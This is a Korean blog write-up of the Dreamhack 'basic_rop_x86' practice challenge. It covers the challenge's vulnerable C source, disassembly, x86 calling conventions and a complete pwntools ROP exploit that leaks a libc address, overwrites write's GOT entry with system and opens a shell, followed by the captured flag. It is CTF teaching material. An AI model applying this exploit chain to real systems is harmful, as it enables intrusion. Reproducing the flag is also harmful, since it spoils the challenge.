이번 문제에서 주의할 점은 문제 정보에 ubuntu 16.04 32bit 버전이라고 적혀있길래 ubuntu 16.04 32bit 환경을 구성하고 exploit 코드를 실행하니 잘 동작이 되지 않았고, ubuntu 16.04 64bit 버전에서도 역시 동작하지 않았다.
그런데 ubuntu 20.04 64bit 버전에서 exploit을 해보니 성공적으로 exploit이 됐다.
문제 실행 시 동작 파악과 보호 기법 확인
문제에서 제공된 바이너리를 실행하면 위와 같이 사용자로부터 입력을 받고, "hello world" 라고 입력했더니 입력된 문자열 그대로 출력해준다.
문제 정보에서 이미 보호 기법들을 보여주고 있지만 checksec을 이용해 한 번 더 확인한다.
canary 기법은 적용이 되어 있지 않고, NX는 설정되어 있다.
NX가 설정되어 있다는 것은 실행에 사용되는 메모리 영역과 쓰기에 사용되는 메모리 영역이 분리되어 있다는 것이고, 버퍼에 쉘 코드를 주입하거나 주입한 쉘 코드를 실행할 수 없다는 것이다.
(임의의 코드를 주입해 사용하는 것 또한 안된다.)
소스 코드
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int main(int argc, char *argv[]) {
char buf[0x40] = {};
initialize();
read(0, buf, 0x400);
write(1, buf, sizeof(buf));
return 0;
}
buf의 크기는 0x40(64)인데, read() 함수에서 0x400(1024)만큼 입력 받고 있기 때문에 Stack buffer overflow가 발생하게 된다.
그리고 read() 함수 다음에 바로 write() 함수를 이용해 화면에 buf의 내용을 출력한다.
리버싱
0x080485d9 <+0>: push ebp
0x080485da <+1>: mov ebp,esp
0x080485dc <+3>: push edi
0x080485dd <+4>: sub esp,0x40
0x080485e0 <+7>: lea edx,[ebp-0x44]
0x080485e3 <+10>: mov eax,0x0
0x080485e8 <+15>: mov ecx,0x10
0x080485ed <+20>: mov edi,edx
0x080485ef <+22>: rep stos DWORD PTR es:[edi],eax
0x080485f1 <+24>: call 0x8048592 <initialize>
0x080485f6 <+29>: push 0x400
0x080485fb <+34>: lea eax,[ebp-0x44]
0x080485fe <+37>: push eax
0x080485ff <+38>: push 0x0
0x08048601 <+40>: call 0x80483f0 <read@plt>
0x08048606 <+45>: add esp,0xc
0x08048609 <+48>: push 0x40
0x0804860b <+50>: lea eax,[ebp-0x44]
0x0804860e <+53>: push eax
0x0804860f <+54>: push 0x1
0x08048611 <+56>: call 0x8048450 <write@plt>
0x08048616 <+61>: add esp,0xc
0x08048619 <+64>: mov eax,0x0
0x0804861e <+69>: mov edi,DWORD PTR [ebp-0x4]
0x08048621 <+72>: leave
0x08048622 <+73>: ret
End of assembler dump.
0x080485d9 <+0>: push ebp
0x080485da <+1>: mov ebp,esp
0x080485dc <+3>: push edi
0x080485dd <+4>: sub esp,0x40
스택 프롤로그 작업을 한 뒤 edi 레지스터의 값을 스택에 넣고, 0x40(64)만큼 스택 공간을 확보한다.
그렇다면 ebp-0x40 주소부터 시작하여 sfp 영역을 지나 ret 영역의 값에 접근하려면 0x44만큼 dummy 값으로 채워줘야 한다.
0x080485e0 <+7>: lea edx,[ebp-0x44]
0x080485e3 <+10>: mov eax,0x0
0x080485e8 <+15>: mov ecx,0x10
0x080485ed <+20>: mov edi,edx
0x080485ef <+22>: rep stos DWORD PTR es:[edi],eax
ebp 레지스터에 있는 값에 0x44를 뺀 값(주소)를 edx에 담는다.
eax에는 0, ecx에는 0x10(16)을 담고 edx에 있는 값(주소)을 edi에 담는 뒤 rep stos 명령을 수행하는데
이는 eax에 있는 값을 ecx의 값만큼 반복하여 edi에 이동시키는 것이다.
0x080485f1 <+24>: call 0x8048592 <initialize>
initialize() 함수를 호출하고
0x080485f6 <+29>: push 0x400
0x080485fb <+34>: lea eax,[ebp-0x44]
0x080485fe <+37>: push eax
0x080485ff <+38>: push 0x0
0x08048601 <+40>: call 0x80483f0 <read@plt>
0x08048606 <+45>: add esp,0xc
0x400을 스택에 넣고
ebp 레지스터에 있는 값에 0x44만큼 뺀 값(주소)를 eax에 옮긴 뒤 스택에 넣고
0을 스택에 넣은 뒤 read() 함수를 호출한다.
0x08048609 <+48>: push 0x40
0x0804860b <+50>: lea eax,[ebp-0x44]
0x0804860e <+53>: push eax
0x0804860f <+54>: push 0x1
0x08048611 <+56>: call 0x8048450 <write@plt>
0x08048616 <+61>: add esp,0xc
스택에 0x40을 넣고
ebp 레지스터에 있는 값에 0x44만큼 뺀 값(주소)를 eax에 옮긴 뒤 스택에 넣고
1을 스택에 넣은 후 write() 함수를 호출한다.
0x08048619 <+64>: mov eax,0x0
0x0804861e <+69>: mov edi,DWORD PTR [ebp-0x4]
0x08048621 <+72>: leave
0x08048622 <+73>: ret
eax에 0을 넣고, edi 레지스터 값을 다시 복원한 뒤 종료한다.
32bit 리눅스 환경에서의 인자와 스택
x86 함수 호출 규약
함수호출규약 사용 컴파일러 인자 전달 방식 스택 정리 적용
함수 호출 규약 | 사용 컴파일러 | 인자 전달 방식 | 스택 정리 | 적용 |
stdcall | MSVC | Stack | Callee | WINAPI |
cdecl | GCC, MSVC | Stack | Caller | 일반 함수 |
fastcall | MSVC | EBX(?), ECX, EDX | Callee | 최적화된 함수 |
thiscall | MSVC | ECX(인스턴스),Stack(인자) | Callee | 클래스의 함수 |
x86-64 함수 호출 규약
함수호출규약 사용 컴파일러 인자 전달 방식 스택 정리 적용
함수 호출 규약 | 사용 컴파일러 | 인자 전달 방식 | 스택 정리 | 적용 |
MS ABI | MSVC | RCX, RDX, R8, R9 | Caller | 일반 함수,Windows Syscall |
System ABI | GCC | RDI, RSI, RDX, RCX, R8, R9, XMM0–7 | Caller | 일반 함수 |
위의 표에 따르면 32bit 리눅스의 gcc 환경에서는 인자 전달 방식을 stack을 이용하고, 스택 정리를 호출한 쪽에서 정리한다.
64bit 환경에서는 첫 번째부터 여섯 번째까지 인자들을 rdi, rsi, rdx, rcx, r8, r9에 넣은 후 이 이상의 인자들은 스택에 넣어 사용하기 때문에 리턴 가젯의 주소를 먼저 기입하고, 각 레지스터에 넣을 인자들을 순서에 맞게 기입한 뒤 함수의 plt 주소를 적어줬다.
하지만 32bit 에서는 위와 같이 인자(매개변수) -> 함수가 종료하고 실행할 주소(반환 주소값) -> 함수의 지역 변수들 순서로 쌓이는 스택의 구조를 갖기 때문에 64bit 환경에서의 payload 순서와는 다르게 함수의 plt를 먼저 적어주고, 반환 주소값을 적어주는데, 이 반환 주소값을 코드 가젯의 주소를 적어주면 된다.
즉, 함수의 plt -> 코드 가젯 주소 -> 인자들 순서로 적어주면 함수의 plt가 먼저 적혀있으므로 함수를 호출하게 되는데, 이때 함수의 plt보다 인자들이 먼저 나와야 하지 않나 하는 의문점이 든다면, 이는 함수 내부에서 ebp + 8, ebp + c, ebp + 10과 같은 방식으로 스택에 넣어져 있는 인자들을 참조하기 때문에 위의 사진을 참고하여 스택의 구조를 그려보면 이해가 될 것이다.
낮은 주소(0x00000000) | |
함수의 시작 부분 | write_plt |
함수가 종료되고 return 될 주소 | 코드 가젯 주소 |
함수에서 사용할 인자들(ebp+8) | 인자 1 |
함수에서 사용할 인자들(ebp + c) | 인자 2 |
함수에서 사용할 인자들(ebp + 10) | 인자 3 |
높은 주소(0xFFFFFFFF) |
exploit
1. write() 함수를 이용해 read() 함수의 got 값을 출력한다.
2. read() 함수를 이용해 bss 영역에 "/bin/sh" 문자열을 넣을 수 있도록 한다.
3. read() 함수를 이용해 write() 함수의 got 주소에 system() 함수의 실제 주소 값을 넣을 수 있게 한다.
4. write() 함수를 재호출하여 실제로는 system() 함수를 호출하게 한다.
from pwn import *
context.arch = 'i386'
#context.log_level = 'debug'
#p = process('./basic_rop_x86')
p = remote('host3.dreamhack.games', 10092)
e = ELF('./basic_rop_x86')
libc = ELF('./libc.so.6')
# plt & got
read_plt = e.plt['read']
read_got = e.got['read']
write_plt = e.plt['write']
write_got = e.got['write']
# offset
read_offset = libc.symbols['read']
system_offset = libc.symbols['system']
# pop_edi = 0x0804868a # pop edi ; pop ebp ; ret
pop_esi_edi_ebp = 0x08048689 # pop esi ; pop edi ; pop ebp ; ret
pop_ret = pop_esi_edi_ebp + 2 # pop ebp ; ret
# addr of bss
bss = e.bss()
# stack + sfp
payload = b'a' * 0x44 + b'b' * 0x4
# write(1, read_got, 4)
payload += p32(write_plt)
payload += p32(pop_esi_edi_ebp)
payload += p32(1)
payload += p32(read_got)
payload += p32(4)
# read(0, bss, 8)
payload += p32(read_plt)
payload += p32(pop_esi_edi_ebp)
payload += p32(0)
payload += p32(bss)
payload += p32(8)
# read(0, write_got, 4)
payload += p32(read_plt)
payload += p32(pop_esi_edi_ebp)
payload += p32(0)
payload += p32(write_got)
payload += p32(4)
# write("/bin/sh", 0, 0) == system("/bin/sh")
payload += p32(write_plt)
payload += p32(pop_ret)
payload += p32(bss)
p.send(payload)
p.recv(0x40)
read_addr = u32(p.recvn(4))
lb = read_addr - read_offset
system_addr = lb + system_offset
print("libc base addr : ", lb)
print("system addr : ", system_addr)
p.send(b'/bin/sh\x00')
p.send(p32(system_addr))
p.interactive()
DH{ff3976e1fcdb03267e8d1451e56b90a5}
'전쟁 > Dreamhack Pwn' 카테고리의 다른 글
[Dreamhack pwn] oneshot (0) | 2023.02.09 |
---|---|
[Dreamhack pwn] fho (0) | 2023.01.26 |
[Dreamhack pwn] basic_rop_x64 (0) | 2023.01.19 |
[Dreamhack pwn] rop (2) | 2023.01.14 |
[Dreamhack pwn] Return to Library (0) | 2023.01.07 |